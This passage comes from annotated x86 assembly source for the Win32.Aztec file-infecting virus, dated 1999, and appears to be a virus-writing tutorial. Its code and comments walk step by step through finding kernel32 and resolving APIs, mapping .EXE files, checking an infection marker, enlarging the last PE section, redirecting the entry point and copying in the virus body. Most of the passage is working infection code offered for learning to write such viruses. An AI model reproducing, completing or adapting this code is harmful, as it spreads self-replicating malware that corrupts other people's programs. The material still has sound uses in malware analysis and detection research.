       mov    ecx,dword ptr [ebp+WFD_nFileSizeLow] ; 1st we create map with
       call   CreateMap                   ; its exact size

       or     eax,eax
       jz     CloseFile

       mov    dword ptr [ebp+MapHandle],eax

       mov    ecx,dword ptr [ebp+WFD_nFileSizeLow]
       call   MapFile                     ; Map it

       or     eax,eax
       jz     UnMapFile

       mov    dword ptr [ebp+MapAddress],eax

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; First we put in ECX the size of the file we are going to map, and then   ;
 ; we call to our function for map it. We check for a possible error with   ;
 ; it, and if there wasn't an error, we continue, otherwise, we close the   ;
 ; file. Then we store the mapping handle, and we prepare to finally map it ;
 ; with our MapFile function. As before, we check for an error and act in   ;
 ; consequence. If all was ok, we store the address where the mapping is    ;
 ; effective.                                                      ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

       mov    esi,[eax+3Ch]
       add    esi,eax
       cmp    dword ptr [esi],"EP"          ; Is it PE?
       jnz    NoInfect
```

```
      cmp    dword ptr [esi+4Ch],"CTZA"    ; Was it infected?
      jz     NoInfect

      push   dword ptr [esi+3Ch]

      push   dword ptr [ebp+MapAddress]      ; Close all
      call   [ebp+_UnmapViewOfFile]

      push   dword ptr [ebp+MapHandle]
      call   [ebp+_CloseHandle]

      pop    ecx

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
; As we have the beginning of mapping address in EAX, we retrieve the po-  ;
; inter to the PE header (MapAddress+3Ch), and then we normalize it, so in ;
; ESI we will have the pointer to the PE header. Anyway we check if it's   ;
; ok, so we check for the PE sign. After that check, we check if the file  ;
; was previously infected (we store a mark in PE offset 4Ch, unused by the ;
; program), and if it was not, we continue with the infection process. We  ;
; preserve then, in stack, the File Alignment (see PE header chapter). And ;
; after that, we unmap the mapping, and close the mapping handle. Finally  ;
; we restore the pushed File Alignment from stack, storing it in ECX reg.  ;
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

      mov    eax,dword ptr [ebp+WFD_nFileSizeLow] ; And Map all again.
      add    eax,virus_size

      call   Align
      xchg   ecx,eax

      call   CreateMap
      or     eax,eax
      jz     CloseFile

      mov    dword ptr [ebp+MapHandle],eax

      mov    ecx,dword ptr [ebp+NewSize]
      call   MapFile

      or     eax,eax
      jz     UnMapFile
      mov    dword ptr [ebp+MapAddress],eax

      mov    esi,[eax+3Ch]
      add    esi,eax

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;
; As we have the File Alignment in ECX (prepared for 'Align' function, coz ;
; it requires in ECX the alignment factor), we put in EAX the size of the  ;
; opened file size plus the virus size (EAX is the number to align), then  ;
; we call to the 'Align' function, that returns us in EAX the aligned num- ;
; ber. For example, if the Alignment is 200h, and the File Size+Virus Size ;
; is 12345h, the number that the 'Align' function will return us will be   ;
; 12400h. Then we put in ECX the aligned number.We call again to CreateMap ;
; function, but now we will map the file with the aligned size. Adrer that ;
; we retrieve again in ESI the pointer to the PE header.                 ;
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;

      mov    edi,esi                     ; EDI = ESI = Ptr to PE header

      movzx   eax,word ptr [edi+06h]        ; AX = n° of sections
      dec    eax                        ; AX--
      imul   eax,eax,28h                  ; EAX = AX*28
      add    esi,eax                     ; Normalize
      add    esi,78h                     ; Ptr to dir table
      mov    edx,[edi+74h]                ; EDX = n° of dir entries
      shl    edx,3                      ; EDX = EDX*8
      add    esi,edx                     ; ESI = Ptr to last section

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;
; Firstly we make also EDI to point to the PE header. After that, we put   ;
; in AX the number of sections (a WORD), and then we decrease it. Then we  ;
; multiply the AX content (n. of sections-1) per 28h (section header size) ;
; and later we add to it the PE header offset.Then we make ESI to point to ;
; the dir table, and get in EDX the number of dir entries.Then we multiply ;
; it per 8, and finally we add the result (in EDX) to ESI, so ESI will be  ;
; pointing to the last section.                                       ;
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;

      mov    eax,[edi+28h]                ; Get EP
      mov    dword ptr [ebp+OldEIP],eax      ; Store it
      mov    eax,[edi+34h]                ; Get imagebase
      mov    dword ptr [ebp+ModBase],eax     ; Store it

      mov    edx,[esi+10h]                ; EDX = SizeOfRawData
```

```
     mov   ebx,edx                   ; EBX = EDX
     add   edx,[esi+14h]              ; EDX = EDX+PointerToRawData

     push  edx                       ; Preserve EDX

     mov   eax,ebx                   ; EAX = EBX
     add   eax,[esi+0Ch]              ; EAX = EAX+VA Address
                                   ; EAX = New EIP
     mov   [edi+28h],eax              ; Change the new EIP
     mov   dword ptr [ebp+NewEIP],eax   ; Also store it

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
; Firstly we put in EAX the EIP of the file we are infecting, for laterly  ;
; put the old EIP in a variable that will be used in the beginning of the  ;
; virus (see it). We do the same with the imagebase. After that, we put in ;
; EDX the SizeOfRawData of the last section, we preserve it for later in   ;
; EBX, and then we finally add to EDX the PointerToRawData (EDX will be    ;
; used later when copying the virus, so we preserve it in the stack).After ;
; that we put in EAX the SizeOfRawData, we add to it the VA Address: so we ;
; have in EAX the new EIP for the host. So we preserve it in its PE header ;
; field, and in another variable (see beginning of the virus)            ;
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

     mov   eax,[esi+10h]              ; EAX = new SizeOfRawData
     add   eax,virus_size             ; EAX = EAX+VirusSize
     mov   ecx,[edi+3Ch]              ; ECX = FileAlignment
     call  Align                     ; Align!

     mov   [esi+10h],eax              ; New SizeOfRawData
     mov   [esi+08h],eax              ; New VirtualSize

     pop   edx                       ; EDX = Raw pointer to the
                                   ;      end of section

     mov   eax,[esi+10h]              ; EAX = New SizeOfRawData
     add   eax,[esi+0Ch]              ; EAX = EAX+VirtualAddress
     mov   [edi+50h],eax              ; EAX = New SizeOfImage

     or    dword ptr [esi+24h],0A0000020h  ; Put new section flags

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
; Ok, the first thing we do is to load in EAX the SizeOfRawData of the     ;
; last section, and after that we add the virus size to it. In ECX we load ;
; the FileAlignment, we call the 'Align' function, so in EAX we will have  ;
; the aligned SizeOfRawData+VirusSize.                                     ;
; Let me say a little example of this:                                     ;
;                                                                          ;
;      SizeOfRawData - 1234h                                               ;
;      VirusSize     -  400h                                               ;
;      FileAlignment -  200h                                               ;
;                                                                          ;
; So, SizeOfRawData plus VirusSize would be 1634h, and after align that    ;
; value, it will be 1800h. Simple, huh? So we set the aligned value as the ;
; new SizeOfRawData and as the new VirtualSize, so we won't have problems  ;
; After that, we calculate the new SizeOfImage, that is, always, the sum   ;
; of the New SizeOfRawData and the VirtualAddress. After calculate this,we ;
; put it where in the SizeOfImage field of the PE header (offset 50h).     ;
; After that, we set the attributes of the section we've increased also to ;
; the following ones:                                                      ;
;                                                                          ;
;      00000020h - Section contains code                                   ;
;      40000000h - Section is readable                                     ;
;      80000000h - Section is writable                                     ;
;                                                                          ;
; So, if we apply to that 3 values an OR operation, the result will be     ;
; A0000020h. So, we have to OR it also with the current attributes of the  ;
; section header, so we won't erase the old ones: we will just add them.   ;
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

      mov     dword ptr [edi+4Ch],"CTZA"     ; Put infection mark

      lea     esi,[ebp+aztec]                ; ESI = Ptr to virus_start
      xchg    edi,edx                        ; EDI = Raw ptr after last
                                             ;       section
      add     edi,dword ptr [ebp+MapAddress] ; EDI = Normalized ptr
      mov     ecx,virus_size                 ; ECX = Size to copy
      rep     movsb                          ; Do it!

      jmp     UnMapFile                      ; Unmap, close, etc.

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
; What we are doing at the first code line of this block is to put the     ;
; mark of infection in an unused field of the PE header (offset 4Ch, that  ;
; is 'Reserved1'), for avoid infect again the file. After, we put in ESI   ;
; a pointer to the beginning of the virus code. After we put in EDI the    ;
; value we had in EDX (remember: EDX = Old SizeOfRawData+PointerToRawData) ;
; that is the RVA to where we should put the virus code. As i have said,   ;
; it's an RVA, and as you MUST know ;) the RVA must be turned to VA, and   ;
```

```
 ; this is made by adding the value to where the RVA is relative... So,it's ;
 ; relative to the address where the mapping of the file begins (if you re- ;
 ; member, it's returned by the API MapViewOfFile). So, finally, in EDI we  ;
 ; have the VA where write the virus code. In ECX we load the size of a vi- ;
 ; rus, and we copy all it. And that was all! ;) Now let's close all...    ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

NoInfect:
        dec     byte ptr [ebp+infections]
        mov     ecx,dword ptr [ebp+WFD_nFileSizeLow]
        call    TruncFile

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; We arrive to this point if any error happened while performing the inf-  ;
 ; ection. We decrease the infection counter, and we truncate the file to   ;
 ; the size it had before the infection. I hope our virus won't reach this  ;
 ; point ;)                                                             ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

UnMapFile:
        push    dword ptr [ebp+MapAddress]      ; Close mapping address
        call    [ebp+_UnmapViewOfFile]

CloseMap:
        push    dword ptr [ebp+MapHandle]       ; Close mapping
        call    [ebp+_CloseHandle]

CloseFile:
        push    dword ptr [ebp+FileHandle]      ; Close file
        call    [ebp+_CloseHandle]

CantOpen:
        push    dword ptr [ebp+WFD_dwFileAttributes]
        lea     eax,[ebp+WFD_szFileName]        ; Set old file attributes
        push    eax
        call    [ebp+_SetFileAttributesA]
        ret

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Those blocks of code are dedicated to close everything opened during the ;
 ; infection: the address of mapping, the mapping itself, the file, and la- ;
 ; terly, setting back the old attributes.                                ;
 ; Let's see a little review of APIs used here:                           ;
 ;                                                                      ;
 ; The UnmapViewOfFile function unmaps a mapped view of a file from the    ;
 ; calling process's address space.                                         ;
 ;                                                                         ;
 ; BOOL UnmapViewOfFile(                                                   ;
 ;   LPCVOID lpBaseAddress      // address where mapped view begins       ;
 ;  );                                                                     ;
 ;                                                                         ;
 ; Parameters                                                              ;
 ; ──────────                                                              ;
 ;                                                                         ;
 ; ■ lpBaseAddress: Points to the base address of the mapped view of a file ;
 ;   that is to be unmapped. This value must be identical to the value     ;
 ;   returned by a previous call to the MapViewOfFile or MapViewOfFileEx   ;
 ;   function.                                                             ;
 ;                                                                         ;
 ; Return Values                                                           ;
 ; ─────────────                                                           ;
 ;                                                                         ;
 ; ■ If the function succeeds, the return value is nonzero, and all dirty  ;
 ;   pages within the specified range are written "lazily" to disk.        ;
 ;                                                                         ;
 ; ■ If the function fails, the return value is zero. To get extended error ;
 ;   information, call GetLastError                                        ;
 ;                                                                         ;
 ; ---                                                                     ;
 ;                                                                         ;
 ; The CloseHandle function closes an open object handle.                  ;
 ;                                                                         ;
 ; BOOL CloseHandle(                                                       ;
 ;   HANDLE hObject     // handle to object to close                      ;
 ;  );                                                                     ;
 ;                                                                         ;
 ; Parameters                                                              ;
 ; ──────────                                                              ;
 ;                                                                         ;
 ; ■ hObject: Identifies an open object handle.                            ;
 ;                                                                         ;
 ; Return Values                                                           ;
 ; ─────────────                                                           ;
 ;                                                                         ;
 ; ■ If the function succeeds, the return value is nonzero.                ;
 ; ■ If the function fails, the return value is zero. To get extended error ;
 ;   information, call GetLastError                                        ;
 ;                                                                         ;
```

```
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;

GetK32          proc
_@1:    cmp     word ptr [esi],"ZM"
        jz      WeGotK32
_@2:    sub     esi,10000h
        loop    _@1
WeFailed:
        mov     ecx,cs
        xor     cl,cl
        jecxz   WeAreInWNT
        mov     esi,kernel_
        jmp     WeGotK32
WeAreInWNT:
        mov     esi,kernel_wNT
WeGotK32:
        xchg    eax,esi
        ret
GetK32          endp

GetAPIs         proc
@@1:    push    esi
        push    edi
        call    GetAPI
        pop     edi
        pop     esi

        stosd

        xchg    edi,esi

        xor     al,al
@@2:    scasb
        jnz     @@2

        xchg    edi,esi

@@3:    cmp     byte ptr [esi],0BBh
        jnz     @@1

        ret
GetAPIs         endp

GetAPI          proc
```

```
       mov    edx,esi
       mov    edi,esi

       xor    al,al
@_1:    scasb
       jnz    @_1

       sub    edi,esi                      ; EDI = API Name size
       mov    ecx,edi

       xor    eax,eax
       mov    esi,3Ch
       add    esi,[ebp+kernel]
       lodsw
       add    eax,[ebp+kernel]

       mov    esi,[eax+78h]
       add    esi,1Ch

       add    esi,[ebp+kernel]

       lea    edi,[ebp+AddressTableVA]

       lodsd
       add    eax,[ebp+kernel]
       stosd

       lodsd
       add    eax,[ebp+kernel]
       push   eax                          ; mov [NameTableVA],eax   =)
       stosd

       lodsd
       add    eax,[ebp+kernel]
       stosd

       pop    esi

       xor    ebx,ebx

@_3:    lodsd
       push   esi
       add    eax,[ebp+kernel]
       mov    esi,eax
       mov    edi,edx
       push   ecx
       cld
       rep    cmpsb
       pop    ecx
       jz     @_4
       pop    esi
       inc    ebx
       jmp    @_3

@_4:
       pop    esi
       xchg   eax,ebx
       shl    eax,1
       add    eax,dword ptr [ebp+OrdinalTableVA]
       xor    esi,esi
       xchg   eax,esi
       lodsw
       shl    eax,2
       add    eax,dword ptr [ebp+AddressTableVA]
       mov    esi,eax
       lodsd
       add    eax,[ebp+kernel]
       ret
GetAPI         endp

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;
 ; All the above code was already seen before, anyway here are a little bit ;
 ; optimized, so you can see how to do it yourself in another way ;)       ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;

 ; input:
 ;     EAX - Value to align
 ;     ECX - Alignment factor
 ; output:
 ;     EAX - Aligned value

Align          proc
       push   edx
       xor    edx,edx
       push   eax
       div    ecx
       pop    eax
       sub    ecx,edx
       add    eax,ecx
       pop    edx
       ret
Align         endp

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; This procedure acoplishes generically a very important thing of the PE  ;
 ; infection: align a number to a determinated factor.If you are not a d0rk ;
 ; you don't need me to answer how it works. (Fuck, did you studied in your ;
 ; fucking life?)                                                 ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

 ; input:
 ;     ECX - Where truncate file
 ; output:
 ;     Nothing.

TruncFile      proc
       xor    eax,eax
       push   eax
       push   eax
       push   ecx
       push   dword ptr [ebp+FileHandle]
       call   [ebp+_SetFilePointer]

       push   dword ptr [ebp+FileHandle]
       call   [ebp+_SetEndOfFile]
       ret
TruncFile      endp

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; The SetFilePointer function moves the file pointer of an open file.     ;
 ;                                                              ;
 ; DWORD SetFilePointer(                                          ;
 ;   HANDLE hFile,      // handle of file                             ;
 ;   LONG lDistanceToMove,      // number of bytes to move file pointer   ;
 ;   PLONG lpDistanceToMoveHigh, // address of high-order word of distance  ;
 ;                           // to move                           ;
 ;   DWORD dwMoveMethod  // how to move                               ;
 ;  );                                                            ;
 ;                                                              ;
 ; Parameters                                                     ;
 ; ──────────                                                     ;
 ;                                                              ;
 ; ■ hFile: Identifies the file whose file pointer is to be moved. The file ;
 ;   handle must have been created with GENERIC_READ or GENERIC_WRITE access;
 ;   to the file.                                                        ;
 ;                                                                     ;
 ; ■ lDistanceToMove: Specifies the number of bytes to move the file pointer;
 ;   A positive value moves the pointer forward in the file and a negative  ;
 ;   value moves it backward.                                              ;
 ;                                                                     ;
 ; ■ lpDistanceToMoveHigh: Points to the high-order word of the 64-bit     ;
 ;   distance to move.If the value of this parameter is NULL,SetFilePointer ;
 ;   can operate only on files whose maximum size is 2^32 - 2. If this     ;
 ;   parameter is specified,the maximum file size is 2^64 - 2.This parameter;
 ;   also receives the high-order word of the new value of the file pointer.;
 ;                                                                     ;
 ; ■ dwMoveMethod: Specifies the starting point for the file pointer move.  ;
 ;   This parameter can be one of the following values:                 ;
 ;                                                                     ;
 ;     Value         Meaning                                             ;
 ;                                                                     ;
 ;   + FILE_BEGIN   - The starting point is zero or the beginning of the    ;
 ;                 file.If FILE_BEGIN is specified,DistanceToMove is    ;
 ;                 interpreted as an unsigned location for the new file  ;
 ;                 pointer.                                            ;
 ;   + FILE_CURRENT - The current value of the file pointer is the starting ;
 ;                 point.                                              ;
 ;   + FILE_END     - The current end-of-file position is the starting point;
 ;                                                                     ;
 ;                                                                     ;
 ; Return Values                                                         ;
 ; ______________                                                        ;
 ;                                                                     ;
 ; ■ If the SetFilePointer function succeeds, the return value is the low-  ;
 ;   order doubleword of the new file pointer, and if lpDistanceToMoveHigh  ;
 ;   is not NULL, the function puts the high-order doubleword of the new    ;
 ;   file pointer into the LONG pointed to by that parameter.            ;
 ; ■ If the function fails and lpDistanceToMoveHigh is NULL, the return     ;
 ;   value is 0xFFFFFFFF. To get extended error information, call         ;
 ;   GetLastError.                                                       ;
 ; ■ If the function fails, and lpDistanceToMoveHigh is non-NULL,the return ;
 ;   value is 0xFFFFFFFF and GetLastError will return a value other than    ;
 ;   NO_ERROR.                                                           ;
 ;                                                                     ;
 ; ---                                                                  ;
 ;                                                                     ;
```

```
 ; The SetEndOfFile function moves the end-of-file (EOF) position for the   ;
 ; specified file to the current position of the file pointer.            ;
 ;                                                                     ;
 ; BOOL SetEndOfFile(                                                     ;
 ;   HANDLE hFile       // handle of file whose EOF is to be set          ;
 ;  );                                                                 ;
 ;                                                                     ;
 ; Parameters                                                           ;
 ; ──────────                                                           ;
 ;                                                                     ;
 ; ■ hFile: Identifies the file to have its EOF position moved. The file    ;
 ;   handle must have been created with GENERIC_WRITE access to the file.   ;
 ;                                                                     ;
 ; Return Values                                                        ;
 ; ─────────────                                                        ;
 ;                                                                     ;
 ; ■ If the function succeeds, the return value is nonzero.               ;
 ; ■ If the function fails, the return value is zero. To get extended error ;
 ;   information, call GetLastError                                       ;
 ;                                                                     ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

 ; input:
 ;     ESI - Pointer to the name of the file to open
 ; output:
 ;     EAX - File handle if succesful

OpenFile        proc
       xor     eax,eax
       push    eax
       push    eax
       push    00000003h
       push    eax
       inc     eax
       push    eax
       push    80000000h or 40000000h
       push    esi
       call    [ebp+_CreateFileA]
       ret
OpenFile        endp

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; The CreateFile function creates or opens the following objects and      ;
 ; returns a handle that can be used to access the object:                ;
 ;                                                               ;
 ;     + files (we are interested only in this one)              ;
 ;     + pipes                                                   ;
 ;     + mailslots                                               ;
 ;     + communications resources                                ;
 ;     + disk devices (Windows NT only)                          ;
 ;     + consoles                                                ;
 ;     + directories (open only)                                 ;
 ;                                                               ;
 ; HANDLE CreateFile(                                            ;
 ;  LPCTSTR lpFileName, // pointer to name of the file           ;
 ;  DWORD dwDesiredAccess,     // access (read-write) mode       ;
 ;  DWORD dwShareMode,  // share mode                            ;
 ;  LPSECURITY_ATTRIBUTES lpSecurityAttributes, // pointer to sec. attrib. ;
 ;  DWORD dwCreationDistribution,      // how to create          ;
 ;  DWORD dwFlagsAndAttributes, // file attributes               ;
 ;  HANDLE hTemplateFile       // handle to file with attributes to copy  ;
 ; );                                                            ;
 ;                                                               ;
 ; Parameters                                                    ;
 ; ──────────                                                    ;
 ;                                                               ;
 ; ■ lpFileName: Points to a null-terminated string that specifies the name ;
 ;  of the object (file, pipe, mailslot, communications resource, disk    ;
 ;  device, console, or directory) to create or open.            ;
 ;  If *lpFileName is a path, there is a default string size limit of     ;
 ;  MAX_PATH characters. This limit is related to how the CreateFile      ;
 ;  function parses paths.                                       ;
 ;                                                               ;
 ; ■ dwDesiredAccess: Specifies the type of access to the object. An       ;
 ;  application can obtain read access, write access, read-write access,or ;
 ;  device query access.                                         ;
 ;                                                               ;
 ; ■ dwShareMode: Set of bit flags that specifies how the object can be    ;
 ;  shared. If dwShareMode is 0, the object cannot be shared. Subsequent   ;
 ;  open operations on the object will fail, until the handle is closed.   ;
 ;                                                               ;
 ; ■ lpSecurityAttributes: Pointer to a SECURITY_ATTRIBUTES structure that  ;
 ;  determines whether the returned handle can be inherited by child      ;
 ;  processes. If lpSecurityAttributes is NULL, the handle cannot be      ;
 ;  inherited.                                                   ;
 ;                                                               ;
 ; ■ dwCreationDistribution: Specifies which action to take on files that   ;
 ;  exist, and which action to take when files do not exist.     ;
```

```
 ;                                                               ;
 ; ■ dwFlagsAndAttributes: Specifies the file attributes and flags for the  ;
 ;   file.                                                        ;
 ;                                                               ;
 ; ■ hTemplateFile:Specifies a handle with GENERIC_READ access to a template;
 ;   file.The template file supplies file attributes and extended attributes;
 ;   for the file being created. Windows 95: This value must be NULL. If    ;
 ;   you supply a handle under Windows 95, the call fails and GetLastError  ;
 ;   returns ERROR_NOT_SUPPORTED.                                     ;
 ;                                                               ;
 ; Return Values                                                   ;
 ; -------------                                                   ;
 ;                                                               ;
 ; ■ If the function succeeds, the return value is an open handle to the    ;
 ;   specified file. If the specified file exists before the function call  ;
 ;   and dwCreationDistribution is CREATE_ALWAYS or OPEN_ALWAYS, a call to  ;
 ;   GetLastError returns ERROR_ALREADY_EXISTS (even though the function has;
 ;   succeeded). If the file does not exist before the call, GetLastError   ;
 ;   returns zero.                                                   ;
 ; ■ If the function fails, the return value is INVALID_HANDLE_VALUE.To get ;
 ;   extended error information, call GetLastError.                       ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

 ; input:
 ;     ECX - Size to map
 ; output:
 ;     EAX - MapHandle if succesful

CreateMap      proc
       xor     eax,eax
       push    eax
       push    ecx
       push    eax
       push    00000004h
       push    eax
       push    dword ptr [ebp+FileHandle]
       call    [ebp+_CreateFileMappingA]
       ret
CreateMap      endp

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; The CreateFileMapping function creates a named or unnamed file-mapping   ;
 ; object for the specified file.                                     ;
 ;                                                               ;
 ; HANDLE CreateFileMapping(                                            ;
 ;   HANDLE hFile,      // handle to file to map                          ;
 ;   LPSECURITY_ATTRIBUTES lpFileMappingAttributes, // optional sec.attribs ;
 ;   DWORD flProtect,    // protection for mapping object                 ;
 ;   DWORD dwMaximumSizeHigh,    // high-order 32 bits of object size      ;
 ;   DWORD dwMaximumSizeLow,     // low-order 32 bits of object size       ;
 ;   LPCTSTR lpName      // name of file-mapping object                   ;
 ;  );                                                                ;
 ;                                                                    ;
 ; Parameters                                                          ;
 ; __________                                                          ;
 ;                                                                    ;
 ; ■ hFile: Identifies the file from which to create a mapping object. The  ;
 ;   file must be opened with an access mode compatible with the protection ;
 ;   flags specified by the flProtect parameter. It is recommended, though  ;
 ;   not required, that files you intend to map be opened for exclusive    ;
 ;   access.                                                           ;
 ;   If hFile is (HANDLE)0xFFFFFFFF, the calling process must also specify  ;
 ;   a mapping object size in the dwMaximumSizeHigh and dwMaximumSizeLow    ;
 ;   parameters.The function creates a file-mapping object of the specified ;
 ;   size backed by the operating-system paging file rather than by a named ;
 ;   file in the file system. The file-mapping object can be shared through ;
 ;   duplication, through inheritance, or by name.                        ;
 ;                                                                    ;
 ; ■ lpFileMappingAttributes: Pointer to a SECURITY_ATTRIBUTES structure    ;
 ;   that determines whether the returned handle can be inherited by child  ;
 ;   processes. If lpFileMappingAttributes is NULL, the handle cannot be    ;
 ;   inherited.                                                        ;
 ;                                                                    ;
 ; ■ flProtect: Specifies the protection desired for the file view, when the;
 ;   file is mapped.                                                    ;
 ;                                                                    ;
 ; ■ dwMaximumSizeHigh: Specifies the high-order 32 bits of the maximum size;
 ;   of the file-mapping object.                                          ;
 ;                                                                    ;
 ; ■ dwMaximumSizeLow: Specifies the low-order 32 bits of the maximum size  ;
 ;   of the file-mapping object. If this parameter and dwMaximumSizeHig are ;
 ;   zero, the maximum size of the file-mapping object is equal to the     ;
 ;   current size of the file identified by hFile.                        ;
 ;                                                                    ;
 ; ■ lpName: Points to a null-terminated string specifying the name of the  ;
 ;   mapping object.The name can contain any character except the backslash ;
 ;   character (\).                                                     ;
 ;   If this parameter matches the name of an existing named mapping object,;
```

```
 ;   the function requests access to the mapping object with the protection ;
 ;   specified by flProtect.                                              ;
 ;   If this parameter is NULL, the mapping object is created without a name;
 ;                                                                      ;
 ; Return Values                                                          ;
 ; ─────────────                                                          ;
 ;                                                                      ;
 ; ■ If the function succeeds, the return value is a handle to the file-    ;
 ;   mapping object. If the object existed before the function call, the    ;
 ;   GetLastError function returns ERROR_ALREADY_EXISTS, and the return     ;
 ;   value is a valid handle to the existing file-mapping object (with its  ;
 ;   current size, not the new specified size. If the mapping object did not;
 ;   exist, GetLastError returns zero.                                      ;
 ; ■ If the function fails, the return value is NULL. To get extended error ;
 ;   information, call GetLastError                                        ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

 ; input:
 ;     ECX - Size to map
 ; output:
 ;     EAX - MapAddress if succesful

MapFile        proc
       xor     eax,eax
       push    ecx
       push    eax
       push    eax
       push    00000002h
       push    dword ptr [ebp+MapHandle]
       call    [ebp+_MapViewOfFile]
       ret
MapFile        endp

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; The MapViewOfFile function maps a view of a file into the address space  ;
 ; of the calling process.                                                ;
 ;                                                                      ;
 ; LPVOID MapViewOfFile(                                                  ;
 ;   HANDLE hFileMappingObject,  // file-mapping object to map             ;
 ;   DWORD dwDesiredAccess,      // access mode                          ;
 ;   DWORD dwFileOffsetHigh,     // high-order 32 bits of file offset      ;
 ;   DWORD dwFileOffsetLow,      // low-order 32 bits of file offset       ;
 ;   DWORD dwNumberOfBytesToMap  // number of bytes to map                ;
 ;  );                                                                   ;
 ;                                                               ;
 ;                                                               ;
 ; Parameters                                                    ;
 ; ──────────                                                    ;
 ;                                                               ;
 ; ■ hFileMappingObject: Identifies an open handle of a file-mapping object.;
 ;   The CreateFileMapping and OpenFileMapping functions return this handle.;
 ;                                                               ;
 ; ■ dwDesiredAccess: Specifies the type of access to the file view and,   ;
 ;   therefore, the protection of the pages mapped by the file.          ;
 ;                                                               ;
 ; ■ dwFileOffsetHigh: Specifies the high-order 32 bits of the file offset  ;
 ;   where mapping is to begin.                                      ;
 ;                                                               ;
 ; ■ dwFileOffsetLow: Specifies the low-order 32 bits of the file offset   ;
 ;   where mapping is to begin. The combination of the high and low offsets ;
 ;   must specify an offset within the file that matches the system's memory;
 ;   allocation granularity, or the function fails. That is, the offset must;
 ;   be a multiple of the allocation granularity. Use the GetSystemInfo    ;
 ;   function, which fills in the members of a SYSTEM_INFO structure, to   ;
 ;   obtain the system's memory allocation granularity.                ;
 ;                                                               ;
 ; ■ dwNumberOfBytesToMap: Specifies the number of bytes of the file to map.;
 ;   If dwNumberOfBytesToMap is zero, the entire file is mapped.         ;
 ;                                                               ;
 ; Return Values                                                 ;
 ; ─────────────                                                 ;
 ;                                                               ;
 ; ■ If the function succeeds, the return value is the starting address of  ;
 ;   the mapped view.                                                ;
 ; ■ If the function fails, the return value is NULL. To get extended error ;
 ;   information, call GetLastError                                  ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;

mark_   db      "[Win32.Aztec v1.01]",0
       db      "(c) 1999 Billy Belcebu/iKX",0

EXE_MASK        db      "*.EXE",0

infections      dd      00000000h
kernel          dd      kernel_

